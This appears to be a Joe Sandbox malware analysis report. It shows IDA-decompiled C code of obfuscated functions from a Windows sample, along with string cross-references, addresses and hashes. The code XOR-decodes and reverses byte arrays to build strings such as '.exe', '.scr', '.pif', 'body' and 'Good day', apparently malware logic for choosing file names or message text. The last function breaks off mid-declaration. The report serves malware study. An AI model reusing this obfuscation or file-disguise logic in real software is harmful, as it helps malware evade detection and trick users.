				_v161 = _v169 ^ 0x000000f0;
				_v160 = _v168 ^ 0x0000004d;
				_v162 = _v170 ^ 0x00000092;
				_v158 = _v166 ^ 0x000000f5;
				_v157 = _v165 ^ 0x0000007d;
				_v159 = _v167 ^ 0x00000039;
				_v208 =  &_v112;
				_v204 =  &_v128;
				_v220 =  &_v32;
				_v196 =  &_v64;
				_v192 =  &_v164;
				_push(5);
				_v200 =  &_v80;
				_v184 =  &_v104;
				_push( &_v136);
				 *0x431c89 = 0x19;
				_v48 = 0x62;
				_v47 = 0x6f;
				_v46 = 0x64;
				_v45 = 0x79;
				_v44 = 0;
				_v104 = 0x64;
				_v103 = 0x6f;
				_v102 = 0x63;
				_v101 = 0x73;
				_v100 = 0;
				_v216 = _t441;
				_v212 = _t456;
				_v188 =  &_v48;
				_v136 = 0xa3;
				_v135 = 9;
				_v134 = 0xa3;
				_v133 = 2;
				_v132 = 0x65;
				_v180 = 6;
				_v179 = 0x28;
				_v178 = 0x5c;
				_v177 = 0x24;
				_v176 = 0x50;
				_t457 = E0040D980( &_v180);
				_v64 = 0x2e;
				_v63 = 0x6d;
				_v62 = 0x73;
				_v61 = 0x67;
				_v60 = 0;
				_v188 = 0x2d;
				_v187 = 0xed;
				_v186 = 0xb1;
				_v185 = 0xbc;
				_v184 = 0x8f;
				_t450 = 0;
				_t442 = 4;
				do {
					_t327 =  *((intOrPtr*)(_t460 + _t450 + 0x64));
					 *((char*)(_t460 + _t450 + 0x64)) =  *((intOrPtr*)(_t460 + _t442 + 0x64));
					_t450 = _t450 + 1;
					 *((char*)(_t460 + _t442 + 0x64)) = _t327;
					_t442 = _t442 - 1;
				} while (_t450 < _t442);
				_v128 = _v188 ^ 0x000000a1;
				_v127 = _v187 ^ 0x000000d9;
				_v126 = _v186 ^ 0x000000dd;
				_v125 = _v185 ^ 0x00000080;
				_v124 = _v184 ^ 0x0000002d;
				_v244 =  &_v64;
				_v240 =  &_v128;
				_v160 = 0x2e;
				_v159 = 0x64;
				_v158 = 0x61;
				_v157 = 0x74;
				_v156 = 0;
				_v104 = 0x2e;
				_v103 = 0x6c;
				_v102 = 0x6f;
				_v101 = 0x67;
				_v100 = 0;
				_v248 = _t457;
				_v236 =  &_v160;
				_v232 =  &_v104;
				_v80 = 0x2e;
				_v79 = 0x65;
				_v78 = 0x78;
				_v77 = 0x65;
				_v76 = 0;
				_v96 = 0x2e;
				_v95 = 0x73;
				_v94 = 0x63;
				_v93 = 0x72;
				_v92 = 0;
				_v188 = 0x19;
				_v187 = 0xe8;
				_v186 = 0xb4;
				_v185 = 0x68;
				_v184 = 0x31;
				_t451 = 0;
				_t443 = 4;
				do {
					_t336 =  *((intOrPtr*)(_t460 + _t451 + 0x64));
					 *((char*)(_t460 + _t451 + 0x64)) =  *((intOrPtr*)(_t460 + _t443 + 0x64));
					_t451 = _t451 + 1;
					 *((char*)(_t460 + _t443 + 0x64)) = _t336;
					_t443 = _t443 - 1;
				} while (_t451 < _t443);
				_v152 = _v188 ^ 0x0000001f;
				_v151 = _v187 ^ 0x0000000a;
				_v150 = _v186 ^ 0x000000d5;
				_v149 = _v185 ^ 0x0000009c;
				_v188 = 0x2e;
				_v180 = 0x2e;
				_v148 = _v184 ^ 0x00000019;
				_v268 =  &_v80;
				_v264 =  &_v96;
				 *0x431c89 = 0x19;
				_v187 = 0x63;
				_v186 = 0x6d;
				_v185 = 0x64;
				_v184 = 0;
				_v179 = 0x70;
				_v178 = 0x69;
				_v177 = 0x66;
				_v176 = 0;
				_v260 =  &_v152;
				_v256 =  &_v188;
				_v252 =  &_v180;
				_t344 = E0040C1D0( &_v180);
				_t434 = _t344 % 0xa;
				_t452 =  *((intOrPtr*)(_t460 + 0x3c + _t344 % 0xa * 4));
				_t346 =  *((intOrPtr*)(_t460 + 0x3c + _t344 % 0xa * 4));
				_t444 = _t346 + 1;
				do {
					_t392 =  *_t346;
					_t346 = _t346 + 1;
				} while (_t392 != 0);
				_t445 = _v20;
				E004028A0(_v20, _t452, _t346 - _t444);
				_t349 = E0040C1D0(_t434);
				_t436 = _t349 % 5;
				_t453 =  *((intOrPtr*)(_t460 + 0x28 + _t349 % 5 * 4));
				_t351 =  *((intOrPtr*)(_t460 + 0x28 + _t349 % 5 * 4));
				_t458 = _t351 + 1;
				do {
					_t395 =  *_t351;
					_t351 = _t351 + 1;
				} while (_t395 != 0);
				E0040DAE0(_t445, _t458, _t453, _t351 - _t458);
				_t354 = E0040C1D0(_t436);
				_pop(_t459);
				_t454 =  *((intOrPtr*)(_t460 + 0x10 + _t354 % 5 * 4));
				_t356 =  *((intOrPtr*)(_t460 + 0x10 + _t354 % 5 * 4));
				_t439 = _t356 + 1;
				do {
					_t398 =  *_t356;
					_t356 = _t356 + 1;
				} while (_t398 != 0);
				return E00424873(E0040DAE0(_t445, _t459, _t454, _t356 - _t439), _v36);
			}

0x00411800
0x00411806
0x0041180d
0x00411817
0x0041181c
0x00411821
0x00411826
0x0041182b
0x00411830
0x00411835
0x0041183a
0x0041183f
0x00411844
0x00411846
0x00411850
0x00411854
0x00411858
0x0041185c
0x0041185d
0x00411861
0x00411862
0x00411877
0x00411882
0x00411892
0x004118a0
0x004118ab
0x004118bb
0x004118bc
0x004118ca
0x004118d1
0x004118da
0x004118e4
0x004118e9
0x004118f0
0x004118f7
0x004118ff
0x00411907
0x0041190f
0x00411917
0x0041191f
0x00411927
0x0041192f
0x00411934
0x00411939
0x0041193e
0x00411943
0x00411948
0x0041194d
0x00411952
0x00411957
0x0041195d
0x00411962
0x00411964
0x00411969
0x0041196e
0x00411973
0x00411978
0x0041197d
0x00411982
0x00411987
0x00411991
0x00411993
0x0041199b
0x004119a3
0x004119ab
0x004119b3
0x004119ba
0x004119c2
0x004119ca
0x004119d2
0x004119da
0x004119e1
0x004119e9
0x004119f1
0x004119f9
0x00411a01
0x00411a08
0x00411a0d
0x00411a12
0x00411a17
0x00411a1c
0x00411a21
0x00411a23
0x00411a30
0x00411a34
0x00411a38
0x00411a3c
0x00411a3d
0x00411a41
0x00411a42
0x00411a57
0x00411a62
0x00411a75
0x00411a7c
0x00411a83
0x00411a8a
0x00411a8f
0x00411a94
0x00411a99
0x00411a9e
0x00411aa3
0x00411aa8
0x00411aad
0x00411ab2
0x00411ab4
0x00411ac0
0x00411ac4
0x00411ac8
0x00411acc
0x00411acd
0x00411ad1
0x00411ad2
0x00411ae7
0x00411aef
0x00411afc
0x00411b07
0x00411b0f
0x00411b1c
0x00411b23
0x00411b27
0x00411b32
0x00411b3d
0x00411b4f
0x00411b53
0x00411b5b
0x00411b6d
0x00411b76
0x00411b7a
0x00411b87
0x00411b8c
0x00411b93
0x00411b9b
0x00411ba3
0x00411bab
0x00411bb3
0x00411bba
0x00411bc2
0x00411bca
0x00411bd2
0x00411bda
0x00411be1
0x00411be5
0x00411be9
0x00411bed
0x00411bf4
0x00411bfc
0x00411c03
0x00411c0b
0x00411c13
0x00411c18
0x00411c1d
0x00411c22
0x00411c27
0x00411c33
0x00411c35
0x00411c3c
0x00411c44
0x00411c4c
0x00411c54
0x00411c5b
0x00411c60
0x00411c65
0x00411c6a
0x00411c6f
0x00411c74
0x00411c76
0x00411c80
0x00411c84
0x00411c88
0x00411c8c
0x00411c8d
0x00411c91
0x00411c92
0x00411ca0
0x00411cb0
0x00411cbb
0x00411ccb
0x00411cd2
0x00411ce7
0x00411ceb
0x00411cfd
0x00411d04
0x00411d0c
0x00411d14
0x00411d1c
0x00411d23
0x00411d2a
0x00411d32
0x00411d3a
0x00411d42
0x00411d49
0x00411d4d
0x00411d51
0x00411d55
0x00411d5c
0x00411d64
0x00411d6c
0x00411d74
0x00411d7b
0x00411d82
0x00411d8a
0x00411d92
0x00411d9a
0x00411da1
0x00411da6
0x00411dab
0x00411db0
0x00411db5
0x00411dba
0x00411dbc
0x00411dc1
0x00411dc5
0x00411dc9
0x00411dcd
0x00411dce
0x00411dd2
0x00411dd3
0x00411de1
0x00411def
0x00411dfc
0x00411e0a
0x00411e11
0x00411e15
0x00411e29
0x00411e30
0x00411e34
0x00411e47
0x00411e4e
0x00411e53
0x00411e58
0x00411e5d
0x00411e61
0x00411e66
0x00411e6b
0x00411e70
0x00411e74
0x00411e78
0x00411e7c
0x00411e80
0x00411e8c
0x00411e8e
0x00411e92
0x00411e94
0x00411e97
0x00411e97
0x00411e99
0x00411e9a
0x00411ea0
0x00411eab
0x00411eb0
0x00411ebc
0x00411ebe
0x00411ec2
0x00411ec4
0x00411ec7
0x00411ec7
0x00411ec9
0x00411eca
0x00411ed4
0x00411ed9
0x00411ee7
0x00411ee8
0x00411eec
0x00411eee
0x00411ef1
0x00411ef1
0x00411ef3
0x00411ef4
0x00411f18

Strings

a, xrefs: 00411D0C
e, xrefs: 00411D5C
g, xrefs: 00411D3A
G, xrefs: 0041196E
a, xrefs: 004119F9
#, xrefs: 0041190F
e, xrefs: 00411D6C
s, xrefs: 00411D82
c, xrefs: 00411E4E
d, xrefs: 00411BBA
d, xrefs: 00411E58
C, xrefs: 004118FF
o, xrefs: 00411D32
P, xrefs: 00411C27
t, xrefs: 00411D14
x, xrefs: 004119A3
}, xrefs: 00411A8A
i, xrefs: 004118F7
d, xrefs: 004119E1
x, xrefs: 00411D64
t, xrefs: 00411993
-, xrefs: 00411C5B
L, xrefs: 0041183A
t, xrefs: 004119AB
1, xrefs: 00411DB5
b, xrefs: 00411B93
g, xrefs: 00411C4C
e, xrefs: 004119D2
r, xrefs: 00411D92
l, xrefs: 004119CA
H, xrefs: 00411964
p, xrefs: 00411E61
o, xrefs: 00411B9B
i, xrefs: 00411E66
y, xrefs: 00411BAB
G@,, xrefs: 00411806
m, xrefs: 00411E53
|, xrefs: 00411917
i, xrefs: 004119C2
f, xrefs: 004119BA
c, xrefs: 00411D8A
e, xrefs: 00411C0B
a, xrefs: 004119E9
d, xrefs: 00411D04
d, xrefs: 00411969
p, xrefs: 00411821
7, xrefs: 00411927
m, xrefs: 00411C3C
l, xrefs: 00411D2A
e, xrefs: 0041199B
f, xrefs: 00411E6B
d, xrefs: 00411BA3
t, xrefs: 004119F1
^, xrefs: 00411835
s, xrefs: 00411C44

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: #$-$1$7$C$G$G@,$H$L$P$^$a$a$a$b$c$c$d$d$d$d$d$d$e$e$e$e$e$f$f$g$g$i$i$i$l$l$m$m$o$o$p$p$r$s$s$t$t$t$t$x$x$y$|$}
API String ID: 0-4003071712
Opcode ID: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction ID: f91fdec992fe17677b43e0b7d472141b995edb7bc8f57b37002556bdc30744f2
Opcode Fuzzy Hash: 51d36cf9d135ff13def567e27bab96c356f22eb539a5bbfb782b486a00b3a5bc
Instruction Fuzzy Hash: 4822022110D7C18DE3328B38945479BBFD21FE7218F185E9EE5E84B3A2C6B58109DB67

Uniqueness

Uniqueness Score: -1.00%

Function 00410907, Relevance: 67.8, Strings: 54, Instructions: 336
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00410907(void* __eax, void* __ecx, intOrPtr _a4, char* _a8, intOrPtr _a12, char* _a16, char* _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, signed int _a48, signed int _a49, signed int _a50, signed int _a51, signed int _a52, signed int _a53, char _a54, char _a55, signed int _a56, signed int _a57, char _a58, char _a59, signed int _a60, signed int _a61, signed int _a62, signed int _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a74, char _a75, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a88, char _a96, signed char _a104, signed char _a105, signed char _a106, signed char _a107, signed char _a108, signed char _a112, signed char _a113, signed char _a114, signed char _a115, signed char _a116, signed char _a117, signed char _a120, signed char _a121, signed char _a122, signed char _a123, signed char _a124, signed char _a125, signed char _a126, signed char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a151, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a162, char _a163, char _a164, char _a165, char _a166, char _a167) {
				intOrPtr _v0;
				char* _v4;
				char* _v8;
				char* _v12;
				void* _t275;
				void* _t280;
				void* _t287;
				void* _t299;
				void* _t300;
				intOrPtr _t302;
				signed int _t304;
				intOrPtr* _t306;
				void* _t318;
				void* _t323;
				char _t328;
				char _t337;
				intOrPtr _t344;
				char _t347;
				char _t350;
				char _t357;
				char _t363;
				intOrPtr _t372;
				intOrPtr _t374;
				void* _t375;
				void* _t377;

				_t318 = __ecx;
				_t275 = __eax;
				do {
					_t347 =  *((intOrPtr*)(_t377 + _t275 + 0x30));
					 *((char*)(_t377 + _t275 + 0x30)) =  *((intOrPtr*)(_t377 + _t318 + 0x30));
					_t275 = _t275 + 1;
					 *((char*)(_t377 + _t318 + 0x30)) = _t347;
					_t318 = _t318 - 1;
				} while (_t275 < _t318);
				_a104 = _a48 ^ 0x000000b6;
				_a105 = _a49 ^ 0x0000002c;
				_a107 = _a51 ^ 0x000000e8;
				_a108 = _a52 ^ 0x00000048;
				_a106 = _a50 ^ 0x00000086;
				_a56 = 0xe9;
				_a57 = 0x4f;
				_a58 = 0x7b;
				_a59 = 0x5b;
				_a60 = 0x45;
				_a61 = 0x6d;
				_a62 = 0x70;
				_a63 = 0xcc;
				_t280 = 0;
				_t323 = 7;
				do {
					_t350 =  *((intOrPtr*)(_t377 + _t280 + 0x38));
					 *((char*)(_t377 + _t280 + 0x38)) =  *((intOrPtr*)(_t377 + _t323 + 0x38));
					_t280 = _t280 + 1;
					 *((char*)(_t377 + _t323 + 0x38)) = _t350;
					_t323 = _t323 - 1;
				} while (_t280 < _t323);
				_t37 =  &_a58; // 0x7b
				_a121 = _a57 ^ 0x00000019;
				_a120 = _a56 ^ 0x000000bc;
				_t41 =  &_a59; // 0x5b
				_a122 =  *_t37 ^ 0x0000000e;
				_a124 = _a60 ^ 0x0000002e;
				_a123 =  *_t41 ^ 0x00000031;
				_a125 = _a61 ^ 0x00000009;
				_a127 = _a63 ^ 0x000000e9;
				_a126 = _a62 ^ 0x0000002a;
				_a48 = 0x13;
				_a49 = 0x80;
				_a50 = 0xd4;
				_a51 = 0x84;
				_a52 = 0x46;
				_a53 = 0xa1;
				_t287 = 0;
				_t328 = 5;
				do {
					_t357 =  *((intOrPtr*)(_t377 + _t287 + 0x30));
					 *((char*)(_t377 + _t287 + 0x30)) =  *((intOrPtr*)(_t377 + _t328 + 0x30));
					_t287 = _t287 + 1;
					 *((char*)(_t377 + _t328 + 0x30)) = _t357;
					_t328 = _t328 - 1;
				} while (_t287 < _t328);
				_a114 = _a50 ^ 0x000000e8;
				_a112 = _a48 ^ 0x000000c9;
				_a117 = _a53 ^ 0x00000013;
				_a113 = _a49 ^ 0x00000023;
				_a115 = _a51 ^ 0x000000b8;
				_push(0x15);
				_a137 = 4;
				_a73 = 4;
				_push( &_a128);
				_a116 = _a52 ^ 0x000000ef;
				 *0x431c89 = 0x19;
				_a128 = 0x15;
				_a129 = 0x5b;
				_a130 = 0x4e;
				_a131 = 0xb8;
				_a132 = 0x25;
				_a133 = 0x36;
				_a134 = 0xbd;
				_a135 = 0xf0;
				_a136 = 0x42;
				_a138 = 0x81;
				_a139 = 0x58;
				_a140 = 0x60;
				_a141 = 0xea;
				_a142 = 0xd6;
				_a143 = 0x4c;
				_a144 = 0xeb;
				_a145 = 0x4b;
				_a146 = 0xed;
				_a147 = 0x96;
				_a148 = 0xae;
				_a64 = 0x29;
				_a65 = 0x64;
				_a66 = 5;
				_a67 = 0x6c;
				_a68 = 0;
				_a69 = 0x20;
				_a70 = 0x64;
				_a71 = 1;
				_a72 = 0x6d;
				_a74 = 0x72;
				_a75 = 0x17;
				_a76 = 0x65;
				_a77 = 0x1c;
				_a78 = 0x3c;
				_a79 = 0x6f;
				_a80 = 0x16;
				_a81 = 0x65;
				_a82 = 0x11;
				_a83 = 0x74;
				_a84 = 0x19;
				_t374 = E0040D980( &_a64);
				_a144 = 0x78;
				_a145 = 0x8e;
				_a146 = 0x63;
				_a147 = 0xf8;
				_a148 = 0x41;
				_a149 = 0xc4;
				_a150 = 0x77;
				_a151 = 0xec;
				_a152 = 0xc6;
				_a153 = 0x36;
				_a163 = 0xc6;
				_push(0x18);
				_t132 =  &_a144; // 0x41
				_a161 = 0x90;
				_a69 = 0x90;
				_a154 = 0xb7;
				_a155 = 0x30;
				_a156 = 0xb3;
				_a157 = 0x6c;
				_a158 = 0xa5;
				_a159 = 0x11;
				_a160 = 0x6f;
				_a162 = 0x73;
				_a164 = 0x20;
				_a165 = 0xf3;
				_a166 = 0x9b;
				_a167 = 0xbd;
				_a56 = 0xb5;
				_a57 = 0xf8;
				_a58 = 0x99;
				_a59 = 0xf0;
				_a60 = 0x9c;
				_a61 = 0xbc;
				_a62 = 0xe8;
				_a63 = 0x9a;
				_a64 = 0xfb;
				_a65 = 0x95;
				_a66 = 0xe6;
				_a67 = 0x87;
				_a68 = 0xe4;
				_a70 = 0xf9;
				_a71 = 0x96;
				_a72 = 0xf8;
				_a73 = 0xd8;
				_a74 = 0x9e;
				_a75 = 0xff;
				_a76 = 0x96;
				_a77 = 0xfa;
				_a78 = 0x9f;
				_a79 = 0xfb;
				_t372 = E0040D980( &_a56);
				_t337 = 0xd;
				_a61 = 0x35;
				_a72 = 0x35;
				_a48 = 0x2b;
				_a49 = 0x63;
				_a50 = 0x54;
				_a51 = 0xbc;
				_a52 = 0x6d;
				_a53 = 0x21;
				_a54 = 0xf4;
				_a55 = 0x2a;
				_a56 = 0x3c;
				_a57 = 0xd7;
				_a58 = 0x97;
				_a59 = 0xbf;
				_a60 = 0x79;
				_a73 = 0xd;
				_a74 = 0xcd;
				_a75 = 0xf8;
				_a76 = 0xa7;
				_a77 = 0x59;
				_a78 = 0x78;
				_a79 = 0xd4;
				_a80 = 0x53;
				_a81 = 8;
				_a82 = 0xca;
				_a83 = 0x26;
				_a84 = 6;
				_a85 = 0x78;
				_t299 = 0;
				do {
					_t363 =  *((intOrPtr*)(_t377 + _t299 + 0x58));
					 *((char*)(_t377 + _t299 + 0x58)) =  *((intOrPtr*)(_t377 + _t337 + 0x58));
					_t299 = _t299 + 1;
					 *((char*)(_t377 + _t337 + 0x58)) = _t363;
					_t337 = _t337 - 1;
				} while (_t299 < _t337);
				_t300 = 0;
				 *0x431c89 = 0x19;
				do {
					 *(_t377 + _t300 + 0x40) =  *(_t377 + _t300 + 0x40) ^  *(_t377 + _t300 + 0x58);
					 *(_t377 + _t300 + 0x41) =  *(_t377 + _t300 + 0x41) ^  *(_t377 + _t300 + 0x59);
					_t300 = _t300 + 2;
				} while (_t300 < 0xe);
				_push(7);
				_push( &_a40);
				_a40 = 0x31;
				_a41 = 0x19;
				_a42 = 0x41;
				_a43 = 0xcf;
				_a44 = 0x52;
				_a45 = 0x3b;
				_a46 = 0xf5;
				_a32 = 0xf1;
				_a33 = 0xa2;
				_a34 = 0xd6;
				_a35 = 0xb7;
				_a36 = 0xc3;
				_a37 = 0xb6;
				_a38 = 0xc5;
				_t302 = E0040D980( &_a32);
				_v12 =  &_a80;
				_v8 =  &_a96;
				_v4 =  &_a88;
				_a12 = _t302;
				_a24 = 0x45;
				_a25 = 0x72;
				_a26 = 0x72;
				_a27 = 0x6f;
				_a28 = 0x72;
				_a29 = 0;
				_a64 = 0x47;
				_a65 = 0x6f;
				_a66 = 0x6f;
				_a67 = 0x64;
				_a68 = 0x20;
				_a69 = 0x64;
				_a70 = 0x61;
				_a71 = 0x79;
				_a72 = 0;
				_v0 = _t374;
				_a4 = _t372;
				_a8 =  &_a40;
				_a16 =  &_a24;
				_a20 =  &_a64;
				_t304 = E0040C1D0( &_a40);
				_t371 =  *((intOrPtr*)(_t377 + 0xc + _t304 % 9 * 4));
				_t306 =  *((intOrPtr*)(_t377 + 0xc + _t304 % 9 * 4));
				_t375 = _t306 + 1;
				do {
					_t344 =  *_t306;
					_t306 = _t306 + 1;
				} while (_t344 != 0);
				return E00424873(E004028A0(_a160, _t371, _t306 - _t375), _a144);
			}

0x00410907
0x00410907
0x00410910
0x00410914
0x00410918
0x0041091c
0x0041091d
0x00410921
0x00410922
0x00410937
0x0041093f
0x0041094f
0x00410953
0x00410957
0x0041095b
0x00410960
0x00410965
0x0041096a
0x0041096f
0x00410974
0x00410979
0x0041097e
0x00410983
0x00410985
0x00410990
0x00410994
0x00410998
0x0041099c
0x0041099d
0x004109a1
0x004109a2
0x004109ae
0x004109b7
0x004109bf
0x004109c3
0x004109cf
0x004109d7
0x004109df
0x004109ef
0x004109f3
0x004109f7
0x004109fb
0x00410a00
0x00410a05
0x00410a0a
0x00410a0f
0x00410a14
0x00410a19
0x00410a1b
0x00410a20
0x00410a24
0x00410a28
0x00410a2c
0x00410a2d
0x00410a31
0x00410a32
0x00410a47
0x00410a4f
0x00410a5f
0x00410a65
0x00410a6d
0x00410a71
0x00410a7a
0x00410a81
0x00410a8a
0x00410a8f
0x00410a93
0x00410a9a
0x00410aa2
0x00410aaa
0x00410ab2
0x00410aba
0x00410ac2
0x00410aca
0x00410ad2
0x00410ada
0x00410ae2
0x00410aea
0x00410af2
0x00410afa
0x00410b02
0x00410b0a
0x00410b12
0x00410b1a
0x00410b22
0x00410b2a
0x00410b32
0x00410b3a
0x00410b3f
0x00410b44
0x00410b49
0x00410b4e
0x00410b53
0x00410b58
0x00410b5d
0x00410b62
0x00410b67
0x00410b6c
0x00410b71
0x00410b75
0x00410b7a
0x00410b7f
0x00410b84
0x00410b89
0x00410b8d
0x00410b92
0x00410b97
0x00410ba1
0x00410ba7
0x00410baf
0x00410bb7
0x00410bbf
0x00410bc6
0x00410bce
0x00410bd6
0x00410bde
0x00410be6
0x00410bed
0x00410bf7
0x00410c00
0x00410c02
0x00410c09
0x00410c10
0x00410c19
0x00410c21
0x00410c29
0x00410c31
0x00410c39
0x00410c41
0x00410c49
0x00410c51
0x00410c59
0x00410c61
0x00410c69
0x00410c71
0x00410c79
0x00410c7e
0x00410c82
0x00410c87
0x00410c8c
0x00410c91
0x00410c96
0x00410c9b
0x00410ca0
0x00410ca4
0x00410ca9
0x00410cae
0x00410cb3
0x00410cb8
0x00410cbd
0x00410cc2
0x00410cc6
0x00410ccb
0x00410cd0
0x00410cd5
0x00410cda
0x00410cdf
0x00410ce4
0x00410ced
0x00410cf1
0x00410cf6
0x00410cfa
0x00410cfe
0x00410d03
0x00410d08
0x00410d0d
0x00410d12
0x00410d17
0x00410d1c
0x00410d21
0x00410d26
0x00410d2b
0x00410d30
0x00410d35
0x00410d3a
0x00410d3f
0x00410d43
0x00410d48
0x00410d4c
0x00410d51
0x00410d56
0x00410d5b
0x00410d60
0x00410d65
0x00410d6a
0x00410d6f
0x00410d74
0x00410d79
0x00410d7e
0x00410d80
0x00410d84
0x00410d88
0x00410d8c
0x00410d8d
0x00410d91
0x00410d92
0x00410d96
0x00410d98
0x00410da0
0x00410dae
0x00410db8
0x00410dbc
0x00410dbf
0x00410dc4
0x00410dca
0x00410dcf
0x00410dd4
0x00410dd9
0x00410dde
0x00410de3
0x00410de8
0x00410ded
0x00410df2
0x00410df7
0x00410dfc
0x00410e01
0x00410e06
0x00410e0b
0x00410e10
0x00410e15
0x00410e1e
0x00410e2a
0x00410e2e
0x00410e32
0x00410e42
0x00410e47
0x00410e4c
0x00410e51
0x00410e56
0x00410e5b
0x00410e60
0x00410e65
0x00410e6a
0x00410e6f
0x00410e74
0x00410e79
0x00410e7e
0x00410e83
0x00410e88
0x00410e8d
0x00410e91
0x00410e95
0x00410e99
0x00410e9d
0x00410ea1
0x00410eaf
0x00410eb3
0x00410eb5
0x00410eb8
0x00410eb8
0x00410eba
0x00410ebb
0x00410ee4

Strings

c, xrefs: 00410BB7
y, xrefs: 00410E83
L, xrefs: 00410B0A
[, xrefs: 00410AA2
c, xrefs: 00410D03
m, xrefs: 00410974
r, xrefs: 00410E4C
B, xrefs: 00410ADA
x, xrefs: 00410D79
`, xrefs: 00410AF2
%, xrefs: 00410ABA
*, xrefs: 00410D21
1, xrefs: 00410DCF
o, xrefs: 00410E51
d, xrefs: 00410E79
&, xrefs: 00410D6F
O, xrefs: 00410960
o, xrefs: 00410B7F
Ax`B, xrefs: 00410C02, 00410C14
r, xrefs: 00410B67
d, xrefs: 00410B3F
y, xrefs: 00410D3A
r, xrefs: 00410E56
x, xrefs: 00410BA7
X, xrefs: 00410AEA
R, xrefs: 00410DE3
6, xrefs: 00410AC2
s, xrefs: 00410C51
d, xrefs: 00410E6F
;, xrefs: 00410DE8
S, xrefs: 00410D60
, xrefs: 00410B53
o, xrefs: 00410E6A
6, xrefs: 00410BED
m, xrefs: 00410B62
0, xrefs: 00410C21
l, xrefs: 00410C31
, xrefs: 00410E74
p, xrefs: 00410979
o, xrefs: 00410E65
o, xrefs: 00410C49
<, xrefs: 00410D26
, xrefs: 00410C59
K, xrefs: 00410B1A
G, xrefs: 00410E60
r, xrefs: 00410E47
l, xrefs: 00410B49
<, xrefs: 00410B7A
d, xrefs: 00410B58
a, xrefs: 00410E7E
E, xrefs: 00410E42
{O, xrefs: 004109AE
N, xrefs: 00410AAA
A, xrefs: 00410DD9

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $ $ $%$&$*$0$1$6$6$;$<$<$A$Ax`B$B$E$G$K$L$N$O$R$S$X$[$`$a$c$c$d$d$d$d$l$l$m$m$o$o$o$o$o$p$r$r$r$r$s$x$x$y$y${O
API String ID: 0-2712818868
Opcode ID: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction ID: 1d3985015a6004c57cc64fd4eab342ec2e216b16199d8406fbd0a1e5bf867d26
Opcode Fuzzy Hash: 6ffe89f5952b37d7b41ad2369ec969154af03488458b80ea56ad85364e586578
Instruction Fuzzy Hash: 1602B02010D7C18DD362867D949878FFFD11BE7228F585A9DE1E84B3E3C2AA8149C767

Uniqueness

Uniqueness Score: -1.00%

Function 0040E676, Relevance: 61.6, Strings: 49, Instructions: 320
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040E676(void* __eax, char __ebx, void* __esi, char _a8, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, char* _a40, intOrPtr _a44, char* _a48, char* _a52, char* _a56, char* _a60, char* _a64, char* _a68, char* _a72, intOrPtr _a76, intOrPtr _a80, char* _a84, intOrPtr _a88, char* _a92, char* _a96, char* _a100, intOrPtr _a104, char* _a108, char* _a112, intOrPtr _a116, char* _a120, char* _a124, intOrPtr _a128, char* _a132, char* _a136, char* _a140, intOrPtr _a144, signed char* _a148, char* _a152, intOrPtr _a156, char* _a160, intOrPtr _a164, char* _a168, intOrPtr _a172, char* _a176, signed char* _a180, signed int* _a184, signed char* _a188, signed int* _a192, intOrPtr _a196, signed char _a200, signed char _a201, signed char _a202, signed char _a203, signed char _a204, signed int _a205, signed int _a208, signed int _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a216, signed int _a217, signed int _a218, signed int _a219, signed int _a220, signed int _a221, char _a222, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a232, char _a240, char _a248, char _a256, char _a257, char _a258, char _a259, char _a260, char _a264, char _a272, char _a280, char _a288, char _a289, char _a290, char _a291, char _a292, char _a293, char _a296, char _a297, char _a298, char _a299, char _a300, char _a301, char _a304, signed char _a312, signed char _a313, signed char _a314, signed char _a315, signed char _a316, signed char _a317, char _a320, char _a336, char _a344, char _a352, char _a360, char _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a392, char _a400, signed char _a408, signed char _a409, signed char _a410, signed char _a411, signed char _a412, signed char _a413, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a432, char _a440, char _a441, char _a442, char _a443, char _a444, char _a445, char _a448, char _a456, char _a464, char _a465, char _a466, char _a467, char _a468, char _a469, char _a470, char _a472, intOrPtr _a488) {
				intOrPtr _v4;
				void* _t262;
				void* _t269;
				char _t276;
				char _t281;
				signed int _t299;
				intOrPtr* _t301;
				char _t307;
				char _t313;
				void* _t319;
				void* _t324;
				intOrPtr _t342;
				intOrPtr _t378;
				void* _t379;
				void* _t381;
				void* _t382;
				void* _t383;
				void* _t384;
				intOrPtr _t388;
				void* _t390;

